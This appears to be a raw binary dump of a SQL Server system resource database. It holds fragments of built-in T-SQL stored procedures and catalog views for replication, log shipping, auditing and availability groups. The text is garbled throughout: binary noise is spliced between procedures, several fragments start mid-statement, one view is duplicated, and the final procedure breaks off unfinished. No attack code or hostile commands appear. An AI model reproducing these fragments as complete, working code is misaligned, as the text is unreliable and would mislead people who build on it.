xmlns6)xtype6*crdate6*dbname6*id6*	lang6*modate6*name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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??EMINIMUM_EXCLUSIVE_VALUE0??EMINIMUM_INCLUSIVE_VALUE0??3MINIMUM_LENGTH0@?-MODEL_GROUP0@?NONE0??%PATTERN0??3PRIMITIVE_TYPE0??-RESTRICTION0??-SIMPLE_TYPE0??5SKIP_VALIDATION0??9STRICT_VALIDATION0??/SUBSTITUTION0??/TOTAL_DIGITS0??TYPE0???GWHITESPACE_NORMALIZATION0??XML0??1XSD_ALL_GROUP0??7XSD_CHOICE_GROUP0??;XSD_SEQUENCE_GROUP((ANY_SIMPLE_TYPETTRIBUTE_GROUPCOMPLEX_SIMPLE_TYPEELEMENT_WILDCARDXTENSIONLIST_TYPEMINIMUM_EXCLUSIVE_VALUEODEL_GROUPPATTERNSKIP_VALIDATIONXSD_ALL_GROUP@01@	HQR
hry
-0</$-j%--?=
=""?4B""?
	":Sl0H`y0@@?A0@?C0??DF0??DT0@@?E0???EU0??EX0@?G0??IN0??IX0??K0@?L0???LN0??LX0@?M0@?N0@?P0??PT0??R0@?S0???U0?@?WS0@?X0??Z((ACEXINLMPSU
@	
-0<J$HFRh>
(?
0<J "0<J$o%p=@"C@)@WnB?A?A?@?@@?@?A?	@@?
A?@@?@@A?@PA?@@?@@?@@?@@?@@?	@0<J "0<J$p%?@"C@B)B?DBRB?SRV((DBRSRV@	0<J "0<J$p%,Q><@"C@
$;Ri
!8Of}A?A?`A?@A?@@@AAA@?@?	@@@@@@@@@
@@@@@@@@???@@@@@@@@@@@@@@@??@???????!???#???%???'0< "0< "0< "0< "!!!!!!|ZW?V`N\
<0;@ Z8
---------------------------- sp_setbuildresource ------------------------------

-- Special db characteristic sp_* name resolution implemented to look in resource database first
CREATE PROCEDURE sys.sp_setbuildresource
	@fset bit
AS
	SET NOCOUNT ON
	IF @@TRANCOUNT > 0
	BEGIN
		RAISERROR(15002,-1,-1,'sp_setbuildresource')
		RETURN (1)
	END
	IF IS_SRVROLEMEMBER('sysadmin') = 0
	BEGIN
		RAISERROR(15003, -1, -1, 'sysadmin')
		RETURN (1)
	END

	-- If in build and turning it off, set db as read-only
	IF ISNULL(@fset,0) = 0
	BEGIN
		DBCC TRACEOFF(3801,-1)	-- allow usedb stmt
		EXEC ('USE mssqlsystemresource CHECKPOINT')
		ALTER DATABASE mssqlsystemresource SET READ_ONLY
	END
	ELSE
	BEGIN
		ALTER DATABASE mssqlsystemresource SET READ_WRITE
		DBCC TRACEON(3801,-1)	-- disallow usedb stmt
	END
0iF@ }8create procedure sys.sp_dropapprole
    @rolename       sysname     -- role to be dropped
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,
			@stmtR		nvarchar(4000)

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_dropapprole')
		return (1)
	end

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	-- create statement
	set @stmtR = 'drop application role ' + quotename(@rolename, ']')

	BEGIN TRANSACTION

	-- this will drop the schema owned by the approle that has the same name as the approle,
	-- if such schema exists
	EXEC %%Owner(Name = @rolename).DropSchema(OwnerType = 3)
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		-- error message comes from inside the invoke
		return (1)
	end

	-- drop the owner
	exec (@stmtR)
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		-- error message comes from inside the statement
		return (1)
	end

	COMMIT TRANSACTION

    -- RETURN SUCCESS --
    return (0) -- sp_dropapprole
0tK 8create procedure sys.sp_sequence_get_range
	@sequence_name      nvarchar(776),
	@range_size         bigint,
	@range_first_value  sql_variant output,
	@range_last_value   sql_variant = null output,
	@range_cycle_count  int = null output,
	@sequence_increment sql_variant = null output,
	@sequence_min_value sql_variant = null output,
	@sequence_max_value sql_variant = null output
as
	declare @ret int
	exec @ret = sys.sp_sequence_get_range_internal @sequence_name, @range_size, @range_first_value output, @range_last_value output,
		@range_cycle_count output, @sequence_increment output, @sequence_min_value output, @sequence_max_value output
	return @ret
0B
\ 8 
-- add it
create view sys.dm_pdw_nodes_db_index_usage_stats as
select *, convert(int, null) pdw_node_id from sys.dm_db_index_usage_stats
0<] P8hc>dHEe0sf D8vh,/0Y S8create procedure sys.sp_MSstartsnapshot_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on

    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstartsnapshot_agent', 'distribution')
        return 1
    end

    declare @retcode int
            ,@start tinyint

    set @start = 0
    exec @retcode = sys.sp_MSsnapshotagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @start
        
    return @retcode
end
0H@ )
8create procedure sys.sp_help_log_shipping_secondary_database 
(
    @secondary_database sysname = NULL
    ,@secondary_id uniqueidentifier = NULL
)
as
begin
    set nocount on
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- validate input
    --
    if (@secondary_database is null and @secondary_id is null)
    begin
        raiserror(14524, 16, 1, N'@secondary_database', N'@secondary_id')
        return 1
    end
    --
    -- do the resultset join
    --
    select 
        s.secondary_id
        ,s.primary_server
        ,s.primary_database
        ,s.backup_source_directory
        ,s.backup_destination_directory
        ,s.file_retention_period
        ,s.copy_job_id
        ,s.restore_job_id
        ,'monitor_server' = case when (s.user_specified_monitor = 1) then s.monitor_server else cast(NULL as sysname) end
        ,'monitor_server_security_mode' = case when (s.user_specified_monitor = 1) then s.monitor_server_security_mode else cast(NULL as bit) end
        ,sd.secondary_database
        ,sd.restore_delay
        ,sd.restore_all
        ,sd.restore_mode
        ,sd.disconnect_users
        ,sd.block_size
        ,sd.buffer_count
        ,sd.max_transfer_size
        ,sm.restore_threshold
        ,sm.threshold_alert
        ,sm.threshold_alert_enabled
        ,sm.last_copied_file
        ,sm.last_copied_date
        ,sm.last_copied_date_utc
        ,sm.last_restored_file
        ,sm.last_restored_date
        ,sm.last_restored_date_utc
        ,sm.history_retention_period
        ,sm.last_restored_latency
    from ((msdb.dbo.log_shipping_secondary as s join msdb.dbo.log_shipping_secondary_databases as sd
            on s.secondary_id = sd.secondary_id) 
        join msdb.dbo.log_shipping_monitor_secondary as sm
            on sd.secondary_id = sm.secondary_id 
                    and sd.secondary_database = sm.secondary_database
                    and s.primary_server = sm.primary_server
                    and s.primary_database = sm.primary_database)
    where (@secondary_database is null or sd.secondary_database = @secondary_database)
        and (@secondary_id is null or s.secondary_id = @secondary_id)
    --
    -- all done
    --
    return 0
end
0K 8create function sys.fn_MSgetmaxlightweightretention	(@tablenick int)
	returns int
as
begin
	declare @retention int
	declare @REPLICA_STATUS_BeforeRestore tinyint

	set @retention= NULL
	set @REPLICA_STATUS_BeforeRestore= 7
	
	select @retention = max(retention) from dbo.sysmergepublications
		where pubid in (select pubid from dbo.sysmergearticles where nickname = @tablenick)
			  and
			  not exists (select * from dbo.sysmergepublications
							where isnull(retention, 0) = 0 and 
			  				pubid in (select pubid from dbo.sysmergearticles where nickname = @tablenick))
			  and
			  status <> @REPLICA_STATUS_BeforeRestore

	if @retention is null
		set @retention= 0

	return @retention
end
  s.start_value AS START_VALUE,
      s.minimum_value AS MINIMUM_VALUE,
      s.maximum_value AS MAXIMUM_VALUE,
      s.increment AS INCREMENT,
      s.is_cycling AS CYCLE_OPTION,
      t.name AS DECLARED_DATA_TYPE,
      t.precision AS DECLARED_NUMERIC_PRECISION,
      t.scale AS DECLARED_NUMERIC_SCALE
FROM
      sys.sequences as s
      JOIN sys.types t ON s.user_type_id = t.user_type_id;
0@ D8,Dh$0<] P8hc>dHEe0sf D8vh,/
		ags.ag_id, tr.*
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AGS) AS ags
	CROSS APPLY
		OpenRowset(TABLE DM_HADR_INTERNAL_TRANSPORT_PARTNERS, ags.ag_id) AS tr
OC_MESSAGETYPE
!!!!!!!!!!!!!!!!!!M#|
87`	<˙"10@ 8CREATE VIEW sys.objects AS
	SELECT name, 
		object_id,
		principal_id,
		schema_id,
		parent_object_id,
		type, 
		type_desc, 
		create_date, 
		modify_date,
		is_ms_shipped,
		is_published,
		is_schema_published
	FROM sys.objects$
0 8CREATE VIEW sys.fulltext_semantic_language_statistics_database AS
	SELECT database_id, register_date, registered_by, version
	FROM master.sys.sysftsemanticsdb
0 8CREATE VIEW sys.availability_replicas_internal AS
	SELECT
		group_id = sgr.guid,
		name = co.name,
		replica_id = sgr2.guid,
		owner_sid = p.sid,
		internal_group_id = co.id,
		create_date = co.created,
		modify_date = co.modified
	FROM master.sys.sysclsobjs  co
	LEFT JOIN master.sys.sysguidrefs sgr ON
	(
		sgr.class = 8 AND -- GRC_AGGUID
		sgr.id = co.id AND 
		sgr.subid = 0         -- AGGUID_AG_ID
	)
	LEFT JOIN master.sys.sysguidrefs sgr2 ON
	(
		sgr2.class = 8 AND -- GRC_AGGUID
		sgr2.id = co.id AND 
		sgr2.subid = 1       -- AGGUID_REPLICA_ID
	)
	LEFT JOIN master.sys.sysxlgns p ON
	(
		p.id = co.status
	)
	WHERE
		co.class = 67    -- SOC_AVAILABILITY_GROUP
		AND has_access('AG', co.id) = 1
0@ *8CREATE VIEW sys.server_audits AS
	SELECT
		audit_id,
		name,
		audit_guid,
		create_date,
		modify_date,
		principal_id,
		type,
		type_desc,	
		on_failure,
		on_failure_desc ,
		is_state_enabled,
		queue_delay,
		predicate
	FROM sys.server_audits$ 
0@ 8CREATE VIEW sys.server_file_audits AS
	SELECT
		au.audit_id,
		au.name,
		au.audit_guid,
		au.create_date,
		au.modify_date,
		au.principal_id,
		au.type,
		au.type_desc,	
		au.on_failure,
		au.on_failure_desc,
		au.is_state_enabled,
		au.queue_delay,
		au.predicate,
		convert(bigint, ms.value) AS max_file_size,
		convert(int, mr.value) AS max_rollover_files,
		convert(int, mf.value) AS max_files,
		sysconv(bit, au.status & 0x10000) AS reserve_disk_space,
		convert(nvarchar(260), pt.value) AS log_file_path,
		convert(nvarchar(260), nm.value) AS log_file_name
	FROM sys.server_audits$ au
	LEFT JOIN master.sys.sysobjvalues ms ON ms.valclass = 38 AND ms.objid = au.audit_id AND ms.subobjid = 0 AND ms.valnum = 50 -- SVC_AUDITPROPS/AUDIT_FL_MAX_SIZE
	LEFT JOIN master.sys.sysobjvalues mr ON mr.valclass = 38 AND mr.objid = au.audit_id AND mr.subobjid = 0 AND mr.valnum = 51 -- SVC_AUDITPROPS/AUDIT_FL_MAX_ROLLOVER
	LEFT JOIN master.sys.sysobjvalues nm ON nm.valclass = 38 AND nm.objid = au.audit_id AND nm.subobjid = 0 AND nm.valnum = 53 -- SVC_AUDITPROPS/AUDIT_FL_NAME
	LEFT JOIN master.sys.sysobjvalues pt ON pt.valclass = 38 AND pt.objid = au.audit_id AND pt.subobjid = 0 AND pt.valnum = 54 -- SVC_AUDITPROPS/AUDIT_FL_PATH
	LEFT JOIN master.sys.sysobjvalues mf ON mf.valclass = 38 AND mf.objid = au.audit_id AND mf.subobjid = 0 AND mf.valnum = 55 -- SVC_AUDITPROPS/AUDIT_FL_MAX_FILES
	WHERE au.type = 'FL'
0 8CREATE VIEW sys.server_audit_specifications AS
	SELECT
		asp.id AS server_specification_id,
		asp.name AS name,
		asp.created AS create_date,
		asp.modified AS modify_date,
		g.guid AS audit_guid,
		sysconv(bit, sysconv (int, asp.status) & 0x1) AS is_state_enabled
	FROM master.sys.sysclsobjs asp
	LEFT JOIN master.sys.sysguidrefs g ON g.class = 6 AND g.id = asp.id AND g.subid = 0  -- GRC_SRVAUDITSPECGUID
	WHERE asp.class = 65 AND asp.type = 'SA' -- SOC_SECAUDITSPEC
		AND has_access('SA', 0) = 1
0 8CREATE VIEW sys.server_audit_specification_details AS
	SELECT
		server_specification_id		= asp.id,
		audit_action_id 			= saa.type,
		audit_action_name 			= convert(nvarchar(60), 
											audit_action_property('name', saa.class, saa.type)),
		class 						= saa.class, -- EMDPermissionClass
		class_desc				 	= n.name,
		major_id				 	= saa.id,
		minor_id				 	= saa.subid,
		audited_principal_id		= saa.grantee,
		audited_result			 	= convert(nvarchar(60), 'SUCCESS AND FAILURE'),
		is_group				 	= sysconv(bit, 
										audit_action_property('is_group', saa.class, saa.type))
	FROM
		master.sys.sysclsobjs asp INNER JOIN 
		master.sys.sysaudacts saa ON
			(
				saa.audit_spec_id = asp.id
			) LEFT JOIN
		sys.syspalvalues n ON 
			(
				n.class = 'UNCL' AND
				n.value = saa.class
			)
	WHERE
		asp.class = 65 AND -- SOC_SECAUDITSPEC
		asp.type = 'SA' AND
		has_access('SA', 0) = 1 -- catalog security check
0 8CREATE VIEW sys.resource_governor_resource_pool_affinity
AS
	SELECT pool_id, processor_group, scheduler_mask
	FROM OpenRowSet(TABLE SYS_RG_POOL_AFFINITY)
0 <8CREATE VIEW sys.database_filestream_options AS
	SELECT d.id as database_id, p.non_transacted_access, p.non_transacted_access_desc, p.directory_name
	FROM master.sys.sysdbreg d 
		CROSS APPLY OpenRowset(TABLE DATABASE_FILESTREAM_OPTIONS, d.id) p
	WHERE has_access('DB', d.id) = 1
g
	LEFT JOIN sys.syssingleobjrefs co ON co.class = 25 and co.depid = e.id  AND co.depsubid = 0  -- SRC_ENDPT_CERTIFICATE
	WHERE e.type = 4
		AND has_access('HE', e.id) = 1
0 8CREATE VIEW sys.availability_replicas_internal AS
	SELECT
		group_id = sgr.guid,
		name = co.name,
		replica_id = sgr2.guid,
		owner_sid = p.sid,
		internal_group_id = co.id,
		create_date = co.created,
		modify_date = co.modified
	FROM master.sys.sysclsobjs  co
	LEFT JOIN master.sys.sysguidrefs sgr ON
	(
		sgr.class = 8 AND -- GRC_AGGUID
		sgr.id = co.id AND 
		sgr.subid = 0         -- AGGUID_AG_ID
	)
	LEFT JOIN master.sys.sysguidrefs sgr2 ON
	(
		sgr2.class = 8 AND -- GRC_AGGUID
		sgr2.id = co.id AND 
		sgr2.subid = 1       -- AGGUID_REPLICA_ID
	)
	LEFT JOIN master.sys.sysxlgns p ON
	(
		p.id = co.status
	)
	WHERE
		co.class = 67    -- SOC_AVAILABILITY_GROUP
		AND has_access('AG', co.id) = 1
0 8CREATE VIEW sys.change_tracking_databases AS
	SELECT id AS database_id,
		convert(tinyint, DatabasePropertyEx(name, 'IsChangeTrackingAutoCleanup')) as is_auto_cleanup_on,
		convert(int, DatabasePropertyEx(name, 'ChangeTrackingRetentionPeriod')) as retention_period,
		convert(tinyint, DatabasePropertyEx(name, 'ChangeTrackingRetentionUnits')) as retention_period_units,
		convert(nvarchar(60), DatabasePropertyEx(name, 'ChangeTrackingRetentionUnitsDesc')) as retention_period_units_desc,
		change_tracking_max_cleanup_version(id) as max_cleanup_version
	FROM master.sys.sysdbreg
	WHERE id < 0x7fff
		AND has_access('DB', id) = 1
		AND (category & 128) = 128
0@ r8CREATE VIEW sys.database_mirroring AS
	SELECT d.id AS database_id,
		p.guid AS mirroring_guid,
		p.state AS mirroring_state, p.state_desc AS mirroring_state_desc,
		p.role AS mirroring_role, p.role_desc AS mirroring_role_desc,
		p.role_sequence AS mirroring_role_sequence,
		p.safety_level AS mirroring_safety_level,
		p.safety_level_desc AS mirroring_safety_level_desc,
		p.safety_sequence AS mirroring_safety_sequence,
		p.partner_name AS mirroring_partner_name,
		p.partner_instance AS mirroring_partner_instance,
		p.witness_name AS mirroring_witness_name,
		p.witness_state AS mirroring_witness_state,
		p.witness_state_desc AS mirroring_witness_state_desc,
		p.failover_lsn AS mirroring_failover_lsn,
		p.connection_timeout AS mirroring_connection_timeout,
		p.redo_queue AS mirroring_redo_queue,
		p.redo_queue_type AS mirroring_redo_queue_type,
		p.end_of_log_lsn AS mirroring_end_of_log_lsn,
		p.safe_relication_lsn AS mirroring_replication_lsn
	FROM master.sys.sysdbreg d OUTER APPLY OpenRowset(TABLE DBMIRROR, d.id) p
	WHERE d.id < 0x7fff
		AND has_access('DB', d.id) = 1
ass = 23 AND x.depsubid = 0	-- SRC_OBJEXECASLOGIN
	WHERE o.type = 'TA' AND o.nsclass = 20 AND o.pclass = 100	-- x_eonc_TrgOnServer:x_eunc_Server
		AND has_access('SQ', o.id, 0, 20) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m4^=8v`-<s-70@ 8-- Return visible system objects in master database context
CREATE VIEW sys.sysobjects AS
	SELECT name, 
		id,
		xtype = type collate catalog_default,
		uid = convert(smallint, nsid),
		info = convert(smallint, 0),
		status = convert(int, 0),
		base_schema_ver = convert(int, 0),
		replinfo = convert(int, 0),
		parent_obj = pid,
		crdate = created,
		ftcatid = convert(smallint, 
			case type when 'U' then OBJECTPROPERTY(id, 'TableFulltextCatalogId')
			else 0 end),
		schema_ver = convert(int, 0),
		stats_schema_ver = convert(int, 0),
		type = convert(char(2), 
			case type when 'UQ' then 'K' when 'PK' then 'K'
			else type collate catalog_default end),
		userstat = convert(smallint, 
			case type when 'S' then 1 when 'U' then 1
			else 0 end),
		sysstat = convert(smallint, 
			case type when 'S' then 1 when 'V' then 2 when 'U' then 3 when 'P' then 4 when 'RF' then 4
			when 'X' then 4 when 'D' then 6 when 'R' then 7 when 'TR' then 8
			when 'PK' then 9 when 'UQ' then 9 when 'C' then 10 when 'F' then 11
			else 0 end),
		indexdel = convert(smallint, 0),
		refdate = created,
		version = convert(int, 0),
		deltrig = convert(int,
			case type when 'U' then OBJECTPROPERTY(id,'TableDeleteTrigger')
			when 'TR' then pid else 0 end),
		instrig = convert(int, 
			case type when 'U' then OBJECTPROPERTY(id,'TableInsertTrigger')
			else 0 end),
		updtrig = convert(int,
			case type when 'U' then OBJECTPROPERTY(id,'TableUpdateTrigger')
			else 0 end),
		seltrig = convert(int, 0),
		category = convert(int, 
			case when type = 'D' and pid <> 0 then 2048 
			else 0 end
			+ 
			case when type = 'P' and (status & 256) <> 0 then 16 
			else 0 end -- is_auto_executed
			+ (status & 1)*2 + (status & 16)*2), -- is_ms_shipped * 2 + is_published * 32
		cache = convert(smallint, 0)
	FROM sys.sysschobjs
	WHERE nsclass = 0 -- x_eonc_Standard
	AND pclass = 1 -- x_eunc_Object
	AND has_access('MO', id) = 1
0e" 800<configuration><system.net><defaultProxy><proxy enabled="false" /></defaultProxy></system.net><runtime><assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"><dependentAssembly><assemblyIdentity name="Microsoft.SqlServer.Types" publicKeyToken="89845dcd8080cc91"/><bindingRedirect oldVersion="10.0.0.0" newVersion="11.0.0.0"/></dependentAssembly></assemblyBinding></runtime></configuration>0&0
 Z4microsoft.sqlserver.types.dll
00<d$;9c=-#;8@C@Xq@v!2Mh
%@[0@?AAST0@@?AULT0@?CEST0@?CETY0 A?CRTY0@?DBAT0@?DSTY0 A?ECAL0PA?ENAL0@?FTCT0pA?HPRT0@?LGTY0A?OBTY0??PFTY0@?PRST0@?USTY0@@?XEER0@@?XEMP((.AASTCESTRTYDSTYECALNALFTCTHPRTLGTYOBTYPRSTUSTY@"&*0 Z8CREATE VIEW sys.all_columns AS
 SELECT * FROM sys.columns0 `8CREATE VIEW sys.all_parameters AS
 SELECT * FROM sys.parameters0@ 8CREATE VIEW sys.all_objects AS
	SELECT 
		o.name, o.id AS object_id, r.indepid AS principal_id,
		o.nsid AS schema_id, o.pid AS parent_object_id,
		o.type, n.name AS type_desc,
		o.created AS create_date, o.modified AS modify_date,
		convert(bit, o.status & 1) AS is_ms_shipped,        -- OBJALL_MSSHIPPED
		convert(bit, o.status & 16) AS is_published,        -- OBJALL_RPL_PUBLISHED
		convert(bit, o.status & 64) AS is_schema_published	-- OBJALL_RPL_PUB_SCHONLY
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 97 AND r.depsubid = 0	-- SRC_OBJOWNER
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	WHERE HAS_ACCESS('AO', o.id) = 1
0@ 8CREATE VIEW sys.all_views AS
	SELECT o.name, o.id AS object_id,
		r.indepid AS principal_id, o.nsid AS schema_id,
		o.pid AS parent_object_id,
		o.type, n.name AS type_desc,
		o.created AS create_date, o.modified AS modify_date,
		convert(bit, o.status & 1) AS is_ms_shipped,
		convert(bit, o.status & 16) AS is_published,
		convert(bit, o.status & 64) AS is_schema_published,
		convert(bit, o.status & 0x1000) AS is_replicated,
		convert(bit, o.status & 0x2000) AS has_replication_filter,
		convert(bit, o.status & 512) AS has_opaque_metadata,
		convert(bit, o.status & 2048) AS has_unchecked_assembly_data,
		convert(bit, o.status & 1024) AS with_check_option,
		convert(bit, o.status & 2) AS is_date_correlation_view,
		convert(bit, o.status & 0x01000000) AS is_tracked_by_cdc
	FROM sys.sysschobjs o		
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 97 AND r.depsubid = 0	-- SRC_OBJOWNER
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	WHERE o.nsclass = 0 -- x_eonc_Standard
		AND o.pclass = 1 AND type = 'V' -- x_eunc_Object
		AND has_access('AO', o.id) = 1
0B`B(server internal)0VeD B(server internal)0=H`B(server internal)0w8B(server internal)0*тB(server internal)0| B(server internal)0R B(server internal)0\ B(server internal)0t B(server internal)0F B(server internal)0 B(server internal)0ڪ B(server internal)0Շ B(server internal)0Z B(server internal)09U`B(server internal)0<a "02[~ B(server internal)0Kf B(server internal)0} B(server internal)0ܺ B(server internal)0 B(server internal)0-t B(server internal)0 B(server internal)0ԓk B(server internal)0( B(server internal)0 B(server internal)0lF B(server internal)0ȳc B(server internal)0B B(server internal)0 B(server internal)0S B(server internal)0 B(server internal)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
1l

	J,[cc!)!k1kS[)S1`<6LD0/ 8
CREATE PROCEDURE sys.sp_SetServerCollation
	@object sysname,	-- 1-part object name (owned by sys)
	@colname sysname,	-- column name
	@fset bit = 1
AS
	DECLARE @objid int
	SELECT @objid = id FROM sys.sysschobjs
		WHERE name = @object AND nsid = 4 AND nsclass = 0
	EXEC %%ColumnEx( ObjectID = @objid, Name = @colname ).SetServerCollation( Value = @fset )
0q7@ ~8CREATE VIEW sys.dm_os_memory_nodes AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_MEMORY_NODES)
04Q3@ Z8create procedure sys.sp_MSscriptpeerconflictdetection_customprocs (
	@publication	sysname, -- not null
	@cmdtxt		nvarchar(max) output
)
as
begin
	set nocount on
	
	declare	@retcode int,        
			@table_created bit

	select @retcode = 0 
		,@table_created = 0

	-- Pre-create #scripttext for scripting
	create table #scripttext
	(
		line_no int identity(1,1) primary key,
		line nvarchar(4000)
	) 
	if (@@error != 0)
		goto Failure
	select @table_created = 1

	exec @retcode = sp_MSscriptpublicationcustomprocs @publication = @publication, @usesqlclr = 1
	if @retcode <> 0 or @@error <> 0
	begin
		raiserror(21542, 16, 1, @@error, 'sp_MSscriptpublicationcustomprocs')
		select @retcode = 1
		goto Failure
	end

	-- Dump the content of the #scripttext table to the output nvarchar(max) variable
	exec @retcode = sys.sp_MSdumpscripttabletonvarcharmax @nvarcharmaxscript = @cmdtxt output
	if @retcode != 0 or @@error != 0
		select @retcode = 1

Failure:

	if @table_created = 1
	begin
		drop table #scripttext
	end

	return @retcode
end	
dSubscription
--
-- Description:
--		Function to determine if the passed publication is the only
--      publication having a shared agent with a subscription 
--      at the given publisher/publisher database pair.  It is used
--      by the user interface to determine when the last publication
--      is being dropped and shared meta data at the subscriber can
--      be cleaned up.
--
--      This stored procedure is executed in the publishing database.
--      For heterogeneous publishers, it is executed in the distribution
--      database.
--
-- Returns:  A result set with a single integer value:
--		0 == FALSE  Other publications with shared agents exist for this publisher db/subscriber db pair
--		1 == TRUE	This is the only publication having a shared agent for this publisher db/subscriber db pair
--
-- Security:
--		public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Includes logic to determine if a db is being used as a distribution db
--
CREATE PROCEDURE sys.sp_MSrepl_IsLastPubInSharedSubscription
(
	@subscriber sysname,
	@subscriber_db sysname,
	@publication sysname
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @fLastPub int,
			@retcode int
	
    -- Security check
    exec @retcode = sys.sp_MSreplcheck_publish
    IF @@error <> 0 or @retcode <> 0
        RETURN 1

    -- Check to see if database is activated for publication
    IF sys.fn_MSrepl_ispublished(db_name()) <> 1
    BEGIN
        -- "This database is not enabled for publication."
        RAISERROR (14013, 16, -1)
        RETURN 1
    END

    IF @subscriber IS NULL
    BEGIN
		-- The parameter @subscriber cannot be NULL.
        RAISERROR (14043, 16, -1, '@subscriber', 'fn_MSrepl_IsLastPubInSharedSubscription')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @subscriber
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
        
    IF @subscriber_db IS NULL
    BEGIN
		-- The parameter @subscriber_db cannot be NULL.
        RAISERROR (14043, 16, -1, '@subscriber_db', 'fn_MSrepl_IsLastPubInSharedSubscription')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @subscriber_db
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
        
	IF @publication IS NULL
    BEGIN
		-- The parameter @publication cannot be NULL.
        RAISERROR (14043, 16, -1, '@publication', 'fn_MSrepl_IsLastPubInSharedSubscription')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
	
	SET @fLastPub = 0
	
	-- Verify that the passed publication is a publication for this publishing database
	-- that uses an independent agent and has a subscription at the specified
	-- subscriber / subscriber database pair.
	IF NOT EXISTS
	(
		SELECT	*
		FROM	syspublications p, sysarticles a, syssubscriptions s
		WHERE	p.pubid = a.pubid
		  AND	a.artid = s.artid
		  AND	p.independent_agent = 0
		  AND	s.dest_db = @subscriber_db
		  AND	s.srvname = UPPER(@subscriber) 
		  AND	p.name = @publication
	)	  
	BEGIN
		-- No shared agent subscription exists for publication '%s' and the subscriber/subscriber database pair '%s'/'%s'.
        RAISERROR (21426, 16, -1, '@publication', '@subscriber', 'subscriber_db')
        RETURN 1
	END
	
	IF NOT EXISTS
	(
		SELECT	*
		FROM	syspublications p, sysarticles a, syssubscriptions s
		WHERE	p.pubid = a.pubid
		  AND	a.artid = s.artid
		  AND	p.independent_agent = 0
		  AND	s.dest_db = @subscriber_db
		  AND	s.srvname = UPPER(@subscriber) 
		  AND	p.name <> @publication
	)	  
	BEGIN
		-- The passed publication is the only publication for this publishing database
		-- that uses an independent agent and has a subscription at the specified
		-- subscriber / subscriber database pair.
		SET @fLastPub = 1
	END

	SELECT @fLastPub
	RETURN 0
END
0aL@ 8create procedure sys.sp_scriptsubconflicttable (
    @publication sysname
    ,@article sysname
	,@alter bit = 0 -- if 1 script alter, otherwise script create
    ,@usesqlclr bit = 1
    )
as
begin
    declare @retcode int

    --
    -- Security Check.
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if (@@error != 0 or @retcode != 0)
        return (1)

    --
    -- Parameter Check: @publication.
    -- The @publication cannot be NULL and must conform to the rules
    -- for identifiers.
    --
    if (@publication IS NULL)
    begin
        raiserror (14043, 16, 2, '@publication', 'sp_scriptsubconflicttable')
        return (1)
    end
    exec @retcode = sys.sp_validname @publication
    if (@retcode != 0)
        return (1)

    --
    -- Parameter Check: @article.
    -- The @article cannot be NULL and must conform to the rules
    -- for identifiers.
    --  
    exec @retcode = sys.sp_MSreplcheck_name @article, '@article', 'sp_scriptsubconflicttable'
    if (@@error != 0 or @retcode != 0)
        return (1)

    if LOWER(@article) = 'all'
    begin
        raiserror (14032, 16, 2, '@article')
        return (1)
    end

    --
    -- now call the SP to generate the script
    --
    exec @retcode = sys.sp_MSmakeconflicttable @article = @article, @publication = @publication, @creation_mode = 1, @is_debug = 0, @alter = @alter, @usesqlclr = @usesqlclr
    return @retcode
end
0C>]@ 8CREATE PROCEDURE sys.sp_log_repository_message
(
	@MessageType	nvarchar(100),
	@Message		nvarchar(2000),
	@database		sysname
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @cmd			nvarchar(max)
	DECLARE @MessageTypeID  int
	DECLARE @retcode		int

	SELECT @MessageTypeID = case             WHEN @MessageType = N'Success' THEN 0
	                               ELSE case WHEN @MessageType = N'Failure' THEN 1
	                               ELSE                                         -1
										end				
	                        end         

